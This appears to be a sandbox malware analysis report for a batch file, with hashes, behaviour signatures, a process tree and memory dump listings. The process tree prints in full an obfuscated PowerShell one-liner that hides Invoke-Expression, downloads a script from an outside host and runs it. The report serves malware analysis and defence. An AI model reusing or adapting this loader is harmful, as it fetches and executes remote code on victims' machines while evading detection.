Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    19-02-2024 12:02

General

  • Target

    doc20241902070611.bat

  • Size

    931B

  • MD5

    dfade09934901ca341eeb0476abe0e0f

  • SHA1

    5d5254c102b1578f9735ebded142ada7d68139b3

  • SHA256

    bd8d0519e4ffd971d5b9b3eb59f01de7b367cf45b65e255d220894a4e9e24a3e

  • SHA512

    c9996a7905d5319c79bf0db07c8380f93181ccf9153353c75f7f1d5135e111e0755d4d0a15934caad5632b74c543b559248e48088a3d51087aa434c2b68cee69

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\doc20241902070611.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','str','ing';$rotJ=($rot -join '');$bnt='https','://antuofermo.it/G19.txt';$bng0=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bng0);z($mv)
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2608

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/2608-4-0x000000001B170000-0x000000001B452000-memory.dmp

    Filesize

    2.9MB

  • memory/2608-5-0x0000000002020000-0x0000000002028000-memory.dmp

    Filesize

    32KB

  • memory/2608-6-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

    Filesize

    9.6MB

  • memory/2608-7-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB

  • memory/2608-8-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB

  • memory/2608-9-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB

  • memory/2608-10-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

    Filesize

    9.6MB

  • memory/2608-11-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB

  • memory/2608-12-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

    Filesize

    9.6MB

  • memory/2608-13-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB

  • memory/2608-14-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB

  • memory/2608-15-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB

  • memory/2608-16-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB

  • memory/2608-17-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

    Filesize

    9.6MB

  • memory/2608-18-0x0000000002640000-0x00000000026C0000-memory.dmp

    Filesize

    512KB